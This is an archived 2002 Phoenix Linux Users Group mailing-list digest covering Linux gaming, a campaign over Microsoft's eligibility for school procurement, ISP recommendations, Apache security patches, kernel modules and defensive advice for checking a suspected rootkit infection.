
George Toft wrote:
For those of us whose Linux gaming experience is limited to doom and
decent, could you spell out the games names, ie, UT and TO?

George


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slr wrote:
  
linuxgames.com is a great link for linux games

if you have the 3D hardware and the most recent vid. drv. to play the newer
games, then i would say YES!!! linux is great for playing games, Wolfenstein
plays better for me in linux than is does in Windoze, as does Soldier of
Fortune. UT runs great as well as TO, and Q2 & Q3 and Q3 Team Arena play
great in Linux. Actually i enjoy playing games in Linux better than Windoze,
but there just isnt enough titles, and now with Loki gone the future is
somewhat dim.

slr

On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote:
    
How good is linux for games?

Linux has a rep for running more efficiently on older hardware than W*.
Is there a website that lists games available to linux and minimal hardware
needed for them?


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--------------070703010906020708070004-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 04:39:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Tue, 18 Jun 2002 21:39:57 -0700 Subject: Fw: Computer Purchasing Guidelines Message-ID: <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> Here is the response I received from David Cantelme, Deer Valley school board member. He is the one who has arizonalawinstitute@yahoo.com as his email address. It sounds to me that all the school districts and the state itself should be starting debarment proceedings against MS. We need to start contacting the legislators, Attorney General's office and your local school superintendents. ----- Original Message ----- From: "david cantelme" To: "Tom Achtenberg" Sent: Tuesday, June 18, 2002 6:08 AM Subject: Re: Computer Purchasing Guidelines Dear Mr. Actenburg: They do not, but similar rules found in the state school district procurement rules do apply. Both sets of rules have their origen in the state procurement code. You can find the school district procurement rules by going to the secretary of state web site. Click on administrative rules. Go to title seven. Then scroll down to R7-2-1001. That's where the rules begin. They continue to about R7-2-1175. Debarment procedures do exist in the school district procurement rules. You would need to address your comments on debarment to the adminsitration. That's who would initiate the procedure. If the administration initiates a debarment procedure, the board determines whether to appoint a hearing officer. It goes from there to the officer with appropriate due process to the contractor. The board itself has no involvement in the hearing process. The officer must be independent to ensure a fair hearing under our constitutional system. --- Tom Achtenberg wrote: > I was wondering if the Maricopa County purchasing > policies listed below apply > to DVUSD purchasing pprocedures? > > Maricopa County policies. Interesting references: > > MC1-101 DEFINITIONS > 25."CONTRACTOR" means any Person who has a Contract > with a County > Governmental unit. For purposes of Article 5, > Contractor may also mean > Respondent as defined in this Article. > 36."DEBARMENT" means an action taken by the County > Administrative > Officer under MC1-902 to prohibit a Person from > Participating in > Maricopa County Procurements. > 80."PERSON" means any corporation, Business, > individual, union, > committee, club, other organization or group of > individuals. > 113."SUSPENSION" means an action taken by the County > Administrative > Officer under MC1-902 temporarily disqualifying a > Person from > participating in Maricopa County Procurements. > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > [Microsoft is considered a Contractor and a Person. > This is important > below.] > > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > All Specifications shall seek to promote overall > economy for the purpose > intended and encourage competition in satisfying > Maricopa County's needs > and shall not be unduly restrictive. > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > [Is there any technology that is Microsoft > exclusive? I believe there > are sites that explain how to replace Exchange > Server completely using > Linux/OSS with Qmail; and SQL Server is replaceable > with mySQL or PostgreSQL; > IIS & ASP is replaceable with Apache & PHP, The MS > Office suite is > replaceable with the very comparable Open Office > suite.] > > > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > B. The causes for Debarment or Suspension shall > include, but are not > limited to, the following: > 2. Conviction of any Person or any subsidiary or > affiliate of any Person > under any statute of the Federal government, this > State or its political > subdivision or any other State for: > k. Any other offense indicating a lack of business > integrity or business > honesty which affects responsibility as a > Contractor. > 3. Conviction or civil judgment finding a violation > by any Person or any > subsidiary or affiliate of any Person under State or > Federal Antitrust > Statutes. > > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > As I read MC1-902.B.3, Microsoft (a Person), having > been convicted of a > violation of Federal Antitrust Statues, cannot be a > County Contractor. > > There are many alternatives to Microsofts products. > Alternatives that have > broken no laws, Federal or Local, are well supported > and used by many large > governments (Germany, Taiwan, et al). As a > concerned voter in the DVUSD, I > must point out that I cannot support criminal > behavior and would hope that my > Governing Board would see fit to do the same and > ONLY consider alternatives > as Microsoft is clearly unqualified to meet District > requirements. > > Thank You, > > Tom Achtenberg > > PS this message was written ans sent to you using a > computer that is 100% > Microsoft free. It uses the Red Hat Linux 7.3 > operating system, KDE windows > like desktop and the K-mail email client. All if > these programs come under > the "General Public License" which means they are > 100% free to the public for > personal and commercial use. > -- > Visit the Mountain Ridge Band Site at http://www.mrhsband.org __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.371 / Virus Database: 206 - Release Date: 6/13/2002 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 04:53:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (C. Sullivan) Date: Wed, 19 Jun 2002 04:53:35 +0000 (GMT) Subject: Local ISPs... Message-ID: Can anybody recommend a good local dialup ISP that is Linux-friendly and reliable? I don't need a lot of hand-holding, just one that isn't going to get all weird when I report a problem and I give them output from pppd's logs. (my current ISP, USISP [which is neither linux-friendly nor local] has constant problems with what should be easy stuff [you know, little things like changing my account without telling me and keeping the in-addr.arpa records working] and I'm sick of it) -Fedl From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 05:13:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (Cap Bateman) Date: 18 Jun 2002 22:13:06 -0700 Subject: Local ISPs... In-Reply-To: References: Message-ID: <1024463588.6572.10.camel@desktop.capnet.lan> --=-+i5M0brNiPHRORq6bRf9 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Tue, 2002-06-18 at 21:53, C. Sullivan wrote: > Can anybody recommend a good local dialup ISP that is Linux-friendly and > reliable? I don't need a lot of hand-holding, just one that isn't going > to get all weird when I report a problem and I give them output from > pppd's logs. >=20 You'll probably hear this one a lot... http://www.unitywave.com --=20 D.L. 'Cap' Bateman Registered Linux User #268440, Machine #151687 No trees were harmed in sending this Earth-safe message. However, a few electrons may have been inconvenienced. --=-+i5M0brNiPHRORq6bRf9 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA9EBLi6He1yLs+JHwRApc/AKC/rPUzbmbARuyL3A9hS6NaomcLFACfeWgl 2H4hzOJXOJDI4ov50x+wa0U= =8N8Z -----END PGP SIGNATURE----- --=-+i5M0brNiPHRORq6bRf9-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 06:44:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Tue, 18 Jun 2002 23:44:06 -0700 Subject: Local ISPs... References: Message-ID: <3D102836.8060706@deru.com> C. Sullivan wrote: > Can anybody recommend a good local dialup ISP that is Linux-friendly and > reliable? Deru http://www.deru.com Extremely knowledgeable, reliable and very linux friendly. -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 07:32:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Wed, 19 Jun 2002 00:32:16 -0700 Subject: Local ISPs... In-Reply-To: References: Message-ID: <200206190032.20952.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 http://www.unitywave.com Am 18 Dienstag Juni 2002 21:53 schrieb C. Sullivan: > Can anybody recommend a good local dialup ISP that is Linux-friendly and > reliable? I don't need a lot of hand-holding, just one that isn't going > to get all weird when I report a problem and I give them output from > pppd's logs. > > (my current ISP, USISP [which is neither linux-friendly nor local] has > constant problems with what should be easy stuff [you know, little things > like changing my account without telling me and keeping the in-addr.arpa > records working] and I'm sick of it) > > -Fedl > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Nathan England plug@the-arcanum.org jabber id: linuxjunkie@earth.jabber.li "A free society is one where it is safe to be unpopular." -- Adlai Stevenson -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9EDOEQ7yNnsYcupwRAoobAKCcHhaJeOOWDS821WHxcsJQwcgRGwCfXIuC mzbCgVsqE+/BWa9ROX8mQhU= =yTp+ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 07:37:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Wed, 19 Jun 2002 00:37:18 -0700 Subject: Gnucash 1.6.6 Message-ID: <200206190037.18890.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Has anyone built gnucash 1.6.6 ? I built it tonight and everything went smooth, but when I try to load it, it says slib is missing and I may need to create a symlink to slib in my guile directory. My guile is in /usr/share/guile Slib is in /usr/share/guile/1.4/slib with a symlink to /usr/share/guile/slib I've tried as root and my user. Anyone else have this problem? nathan - -- Nathan England plug@the-arcanum.org jabber id: linuxjunkie@earth.jabber.li "A free society is one where it is safe to be unpopular." -- Adlai Stevenson -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9EDSuQ7yNnsYcupwRAvJ0AJ9j7Amm7wC+0zjdLvhEby9FPuCIMQCeLvVr u73LzZDYaZcmaR/zXWj68BE= =JqV+ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 07:35:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Wed, 19 Jun 2002 00:35:35 -0700 Subject: Apache releases versions 1.3.26 and 2.0.39 Message-ID: <3D103447.6010009@deru.com> http://slashdot.org/article.pl?sid=02/06/18/2255209 http://www.apache.org/ These fix the problem that CERT reported yesterday [CERT VU#944335] ... -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 07:57:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Wed, 19 Jun 2002 00:57:38 -0700 (MST) Subject: Apache releases versions 1.3.26 and 2.0.39 In-Reply-To: <3D103447.6010009@deru.com> Message-ID: Sure is nice to see a quick patch for this. ... i just completed rolling out a dozen copies of the 1.3.26 version ... The Apache Group is pleased to announce the release of the 1.3.26 version of the Apache HTTP Server. This version of Apache is principally a security and bug fix release. Of particular note is that 1.3.26 addresses and fixes the issues noted in CAN-2002-0392 (mitre.org) [CERT VU#944335] regarding a vulnerability in the handling of chunked transfer encoding as described above. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 08:58:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Wed, 19 Jun 2002 01:58:16 -0700 Subject: possible LKM rootkit infection In-Reply-To: References: Message-ID: <20020619085816.LQJS24965.fed1mtao02.cox.net@there> ok, my rootkit checker spit out a line that has me concerned. it read back checking for LKM and found 4 processes that were invisible to both readdir and ps. This has me a little nervous now. I need to know if I am actually infected and if so, how bad and what I can do about it. I need assistance ASAP here. I can be reached via telephone at (623)849-9515 or respond directly by e-mail. if anyone has answers for me, I'd appreciate it. thanks. -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 11:52:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 19 Jun 2002 07:52:32 -0400 Subject: possible LKM rootkit infection References: <20020619085816.LQJS24965.fed1mtao02.cox.net@there> Message-ID: <3D107080.CE03D21A@georgetoft.com> Please post your results when you reach resolution. George -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- technomage wrote: > > ok, my rootkit checker spit out a line that has me concerned. > it read back checking for LKM and found 4 processes that were invisible to > both readdir and ps. > > This has me a little nervous now. I need to know if I am actually infected > and if so, how bad and what I can do about it. > > I need assistance ASAP here. > > I can be reached via telephone at (623)849-9515 or respond directly by e-mail. > if anyone has answers for me, I'd appreciate it. > > thanks. > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 13:40:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Brewster) Date: Wed, 19 Jun 2002 06:40:30 -0700 (PDT) Subject: possible LKM rootkit infection In-Reply-To: <20020619085816.LQJS24965.fed1mtao02.cox.net@there> Message-ID: <20020619134030.37517.qmail@web14008.mail.yahoo.com> What are the processes that are invisible? Are any of them using a high/odd port number? IE ssh on port 37337? Any other info you can provide about this would also be helpful. IE how is your system connected to the net? Also, (curiosity on my part)what are using for a rootkit checker? scott --- technomage wrote: > ok, my rootkit checker spit out a line that has me concerned. > it read back checking for LKM and found 4 processes that were invisible to > both readdir and ps. > > This has me a little nervous now. I need to know if I am actually infected > and if so, how bad and what I can do about it. > > I need assistance ASAP here. > > I can be reached via telephone at (623)849-9515 or respond directly by > e-mail. > if anyone has answers for me, I'd appreciate it. > > thanks. > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 14:35:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 19 Jun 2002 07:35:52 -0700 Subject: Does Linux do games well? References: <200206181445.38509.zen2now@qwest.net> <3D0FEC5F.BCD94975@georgetoft.com> Message-ID: <000d01c2179e$9d34ccb0$2f7c0d82@peyote> UT has already been explained, as for TO, it is a now retail mod for UT called Tactical Ops "Assault on Terror" YEAH!!!! has the feel of Half Life's Counter Strike. slr ----- Original Message ----- From: "George Toft" To: Sent: Tuesday, June 18, 2002 7:28 PM Subject: Re: Does Linux do games well? > For those of us whose Linux gaming experience is limited to doom and > decent, could you spell out the games names, ie, UT and TO? > > George > > > -- > If you feel you have received a virus from me, please read > http://www.georgetoft.com/virus.html > because it wasn't me! > -- > > > slr wrote: > > > > linuxgames.com is a great link for linux games > > > > if you have the 3D hardware and the most recent vid. drv. to play the newer > > games, then i would say YES!!! linux is great for playing games, Wolfenstein > > plays better for me in linux than is does in Windoze, as does Soldier of > > Fortune. UT runs great as well as TO, and Q2 & Q3 and Q3 Team Arena play > > great in Linux. Actually i enjoy playing games in Linux better than Windoze, > > but there just isnt enough titles, and now with Loki gone the future is > > somewhat dim. > > > > slr > > > > On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote: > > > How good is linux for games? > > > > > > Linux has a rep for running more efficiently on older hardware than W*. > > > Is there a website that lists games available to linux and minimal hardware > > > needed for them? > > > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 15:02:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 19 Jun 2002 08:02:04 -0700 (PDT) Subject: possible LKM rootkit infection In-Reply-To: <20020619085816.LQJS24965.fed1mtao02.cox.net@there> Message-ID: Also, run nmap against your computer from another computer to see if there's anything listening that shouldn't be. ~M On Wed, 19 Jun 2002, technomage wrote: > ok, my rootkit checker spit out a line that has me concerned. > it read back checking for LKM and found 4 processes that were invisible to > both readdir and ps. > > This has me a little nervous now. I need to know if I am actually infected > and if so, how bad and what I can do about it. > > I need assistance ASAP here. > > I can be reached via telephone at (623)849-9515 or respond directly by e-mail. > if anyone has answers for me, I'd appreciate it. > > thanks. > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 14:59:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 19 Jun 2002 07:59:56 -0700 (PDT) Subject: possible LKM rootkit infection In-Reply-To: <20020619085816.LQJS24965.fed1mtao02.cox.net@there> Message-ID: It's possible that the "lsof" command wasn't trojaned, since most root kits don't check for it. Try "lsof -ni" and see if there's any difference between "netstat -lp". If so, copy over a new "ps" and "ls" and "netstat" from another machine that you know hasn't been compromised (a fresh install is best, and make sure it's the same arch/distro). If lsof shows an unusual port, check to see what program is running in the far left column. Locate that program and run "strings" on it to get more info. This should get you started. Keep us updated on what you find. Thanks, ~M On Wed, 19 Jun 2002, technomage wrote: > ok, my rootkit checker spit out a line that has me concerned. > it read back checking for LKM and found 4 processes that were invisible to > both readdir and ps. > > This has me a little nervous now. I need to know if I am actually infected > and if so, how bad and what I can do about it. > > I need assistance ASAP here. > > I can be reached via telephone at (623)849-9515 or respond directly by e-mail. > if anyone has answers for me, I'd appreciate it. > > thanks. > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 05:00:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Fred A. Miller) Date: Wed, 19 Jun 2002 01:00:45 -0400 Subject: Help Maricopa County Do the Right Thing Message-ID: <200206190100.47041.fmiller@lightlink.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 To: George Toft George, I wish you and everyone there in the Phoenix group the best in your endeavor!!! IF you are successful, it SHOULD become National news, and I'll request that you let me know the final verdict and the details. I'll make certain that Linux groups are well informed! Best, Fred - -- "...Linux, MS-DOS, and Windows 2000 (also known as the Good, the Bad, and the Ugly)." -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj0QD/0ACgkQeNJ3p8sZ/usJDwCdFOOOhIV227R4UBfWjMImd2Db HQoAnji07xNM0hJNSaLx9m0Lh0mJUpZ7 =Uyqd -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 15:20:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Wed, 19 Jun 2002 08:20:08 -0700 (MST) Subject: possible LKM rootkit infection In-Reply-To: <20020619085816.LQJS24965.fed1mtao02.cox.net@there> Message-ID: Tell more about your rootkit checker, sounds like a really handy tool! The very few root'd *nix boxes we've handled, generally start with clean copies of binaries such as: ps, lsof, netstat, lsattr (for linux ext2), ... If neccessary, mount a cd with the binaries you'll need, or NFS from a shared CD. (favor CD so you're certain your binaries can't be overwritten by a clever rootkit). Most that I recall have been linux boxen, between a clean netstat (netstat -pan) and sniffing around the filesystem with lsattr & ls finds most of the little nasties. Start easy, copy a clean netstat over and have a look-see. I have not yet seen a root-kit that really defends itself against the sysadmin copying over a clean binary and using it to look around. If you suspect a stealth kernel, reboot from a cd, then hunt the filesystem. 'course my favorite is to just slick the machine, reinstall ... sometimes that is quicker. Running nmap against the suspected target may show you hidden listeners. If you wish, post the IP & wether there is a firewall, I'm sure several on the list would be happy to sweep your box from outside your network. (which is always a good thing to do! see if your configuration is really doing what you think it is doing!!) - tom e. ------------------------------------------ On Wed, 19 Jun 2002, technomage wrote: ok, my rootkit checker spit out a line that has me concerned. it read back checking for LKM and found 4 processes that were invisible to both readdir and ps. This has me a little nervous now. I need to know if I am actually infected and if so, how bad and what I can do about it. I need assistance ASAP here. I can be reached via telephone at (623)849-9515 or respond directly by e-mail. if anyone has answers for me, I'd appreciate it. thanks. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 15:42:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Roderick Ford) Date: Wed, 19 Jun 2002 08:42:50 -0700 Subject: Question: What's The difference between a 'Modular Kernel and a Monolithic Kernel?' References: <20020618235047.934.qmail@web10601.mail.yahoo.com> Message-ID: <3D10A67A.5050206@asu.edu> Modular is when your kernel is able to load modules for a particular device. That is, make it available for the kernel to load as necessary at run-time, which requires that the kernel be compiled with kernel-module-loading ability. Monolithic is when there are no modules to load at run-time. All modules for devices are compiled into the kernel and loaded at boot. Even if a device is never or rarely used the "bloated" kernel carries around the knowledge of how to communicate with that type of device. Typically, the RedHat 7.2 kernel comes monolithic. The instructions probably discuss monolithic kernels in the sense that YOU manually load the module, and modular kernels in the sense that the kernel needs to be recompiled to make the kernel aware that the module is available at run-time. You can select these things when you re-compile the kernel. Sorry, that this probably wasn't a very concise explanation, and certainly not thorough. Regardless, RedHat comes compiled with kudzu, which is the plug and play ability. When you boot up with the new device, kudzu will ask you if you want to configure the new device. Then you are good to go. If anyone wants to clarify or correct any of the above, feel free. --Roderick Ford Alpha Zenon Sanchez wrote: > Hello Linux Users: > > If I installed a Redhat 7.2 OS on my computer from a > CD, but so far have not configured anything and added > cards with Redhat's 'plug and play' ability, what type > of Kernal do I have? Would it be monolithic or > modular? I need to know this becuase I'm installing > a NIC card on my system. I haven't rebuilt or compiled > my kernel yet. > > The instructions have versions for both a monolithic > and a modular kernel. > > My NIC card is a Netgear FA310TX PCI. > Thanks in Advance > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 15:58:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 19 Jun 2002 08:58:10 -0700 Subject: Fw: Computer Purchasing Guidelines In-Reply-To: <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> References: <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> Message-ID: <02061908581006.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 According to the state administrative rules, it looks like most if not all of the school districts could be required to initiate debarment proceedings against MS. Anyone know an attorney who is willing to take something like this on pro-bono? On Tuesday 18 June 2002 21:39, you wrote: > Here is the response I received from David Cantelme, Deer Valley school > board member. He is the one who has arizonalawinstitute@yahoo.com as his > email address. It sounds to me that all the school districts and the state > itself should be starting debarment proceedings against MS. We need to > start contacting the legislators, Attorney General's office and your local > school superintendents. > > > ----- Original Message ----- > From: "david cantelme" > To: "Tom Achtenberg" > Sent: Tuesday, June 18, 2002 6:08 AM > Subject: Re: Computer Purchasing Guidelines > > > Dear Mr. Actenburg: > > They do not, but similar rules found in the state > school district procurement rules do apply. Both sets > of rules have their origen in the state procurement > code. You can find the school district procurement > rules by going to the secretary of state web site. > Click on administrative rules. Go to title seven. > Then scroll down to R7-2-1001. That's where the rules > begin. They continue to about R7-2-1175. > > Debarment procedures do exist in the school district > procurement rules. You would need to address your > comments on debarment to the adminsitration. That's > who would initiate the procedure. If the > administration initiates a debarment procedure, the > board determines whether to appoint a hearing officer. > It goes from there to the officer with appropriate > due process to the contractor. The board itself has > no involvement in the hearing process. The officer > must be independent to ensure a fair hearing under our > constitutional system. > > --- Tom Achtenberg wrote: > > I was wondering if the Maricopa County purchasing > > policies listed below apply > > to DVUSD purchasing pprocedures? > > > > Maricopa County policies. Interesting references: > > > > MC1-101 DEFINITIONS > > 25."CONTRACTOR" means any Person who has a Contract > > with a County > > Governmental unit. For purposes of Article 5, > > Contractor may also mean > > Respondent as defined in this Article. > > 36."DEBARMENT" means an action taken by the County > > Administrative > > Officer under MC1-902 to prohibit a Person from > > Participating in > > Maricopa County Procurements. > > 80."PERSON" means any corporation, Business, > > individual, union, > > committee, club, other organization or group of > > individuals. > > 113."SUSPENSION" means an action taken by the County > > Administrative > > Officer under MC1-902 temporarily disqualifying a > > Person from > > participating in Maricopa County Procurements. > > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > > [Microsoft is considered a Contractor and a Person. > > This is important > > below.] > > > > > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > > All Specifications shall seek to promote overall > > economy for the purpose > > intended and encourage competition in satisfying > > Maricopa County's needs > > and shall not be unduly restrictive. > > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > > [Is there any technology that is Microsoft > > exclusive? I believe there > > are sites that explain how to replace Exchange > > Server completely using > > Linux/OSS with Qmail; and SQL Server is replaceable > > with mySQL or PostgreSQL; > > IIS & ASP is replaceable with Apache & PHP, The MS > > Office suite is > > replaceable with the very comparable Open Office > > suite.] > > > > > > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > > B. The causes for Debarment or Suspension shall > > include, but are not > > limited to, the following: > > 2. Conviction of any Person or any subsidiary or > > affiliate of any Person > > under any statute of the Federal government, this > > State or its political > > subdivision or any other State for: > > k. Any other offense indicating a lack of business > > integrity or business > > honesty which affects responsibility as a > > Contractor. > > 3. Conviction or civil judgment finding a violation > > by any Person or any > > subsidiary or affiliate of any Person under State or > > Federal Antitrust > > Statutes. > > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > > As I read MC1-902.B.3, Microsoft (a Person), having > > been convicted of a > > violation of Federal Antitrust Statues, cannot be a > > County Contractor. > > > > There are many alternatives to Microsofts products. > > Alternatives that have > > broken no laws, Federal or Local, are well supported > > and used by many large > > governments (Germany, Taiwan, et al). As a > > concerned voter in the DVUSD, I > > must point out that I cannot support criminal > > behavior and would hope that my > > Governing Board would see fit to do the same and > > ONLY consider alternatives > > as Microsoft is clearly unqualified to meet District > > requirements. > > > > Thank You, > > > > Tom Achtenberg > > > > PS this message was written ans sent to you using a > > computer that is 100% > > Microsoft free. It uses the Red Hat Linux 7.3 > > operating system, KDE windows > > like desktop and the K-mail email client. All if > > these programs come under > > the "General Public License" which means they are > > 100% free to the public for > > personal and commercial use. > > -- > > Visit the Mountain Ridge Band Site at > > http://www.mrhsband.org > > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.371 / Virus Database: 206 - Release Date: 6/13/2002 > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRCqEisk3ywszI1FEQJZDwCg0JBu1f1ffMgVts+N9FxVfc3GwRgAoI3a uqHWgWriXgbXcZvWptly5CtJ =tKg8 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 16:01:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 19 Jun 2002 09:01:00 -0700 Subject: gentoo 1.2 In-Reply-To: <20020618210224.GA27747@aries.evilmascot.com> References: <200206180935.52647.zen2now@qwest.net> <20020618210224.GA27747@aries.evilmascot.com> Message-ID: <200206190901.00430.zen2now@qwest.net> thanks very much for the info, but after further research on my part i have decided to give the SUSE 7.3 sparc64 version a try, that is if i can get all 5 disks before i die! know of a fast mirror? :~D slr On Tuesday 18 June 2002 02:02 pm, Kyle O'Malley wrote: > The i686 disk has install stages 1-3 on the disk, they must be refering to > the fact that if you build and compile starting from stage1 you can have a > working system on any i386+ while stage3 has everything precompiled but > only supports i686+. > 